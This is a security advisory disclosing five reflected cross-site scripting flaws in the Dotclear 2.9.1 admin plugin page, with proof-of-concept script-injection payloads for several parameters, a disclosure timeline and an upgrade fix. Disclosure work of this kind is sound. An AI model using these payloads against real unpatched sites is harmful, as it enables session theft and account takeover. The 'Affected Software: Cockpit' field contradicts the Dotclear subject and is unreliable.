Multiple Reflected Cross-site Scripting Vulnerabilities in Dotclear 2.9.1

Information

Advisory by Netsparker (now Invicti)
Name: Multiple Reflected Cross-site Scripting Vulnerabilities in Dotclear
Affected Software: Cockpit
Affected Versions: 2.9.1
Vendor Homepage: https://dotclear.org/ 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-16-017

Technical Details

Proof of Concept URLs for XSS vulnerabilities in Dotclear;

URL: /dotcl/admin/plugin.php
Parameter Name: link_title
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000ED2)</scRipt>

URL: /dotcl/admin/plugin.php
Parameter Name: link_lang
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000EE0)</scRipt>

URL: /dotcl/admin/plugin.php?p=blogroll&edit=1&id=1&id='"--></style></scRipt><scRipt>alert(0x000DB7)</scRipt>
Parameter Name: id
Parameter Type: GET
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000DB7)</scRipt>

URL: /dotcl/admin/plugin.php
Parameter Name: link_href
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000ED8)</scRipt>

URL: /dotcl/admin/plugin.php
Parameter Name: link_desc
Parameter Type: POST
Attack Pattern: '"--></style></scRipt><scRipt>alert(0x000EDE)</scRipt>

For more information on cross-site scripting vulnerabilities, see Cross-site Scripting (XSS).

Advisory Timeline

03 Aug 2016 – Issue reported
13 Aug 2016 – Vendor fixed
22 Sep 2016 – Advisory released

Solution

Download the latest version of Dotclear.

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti

Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.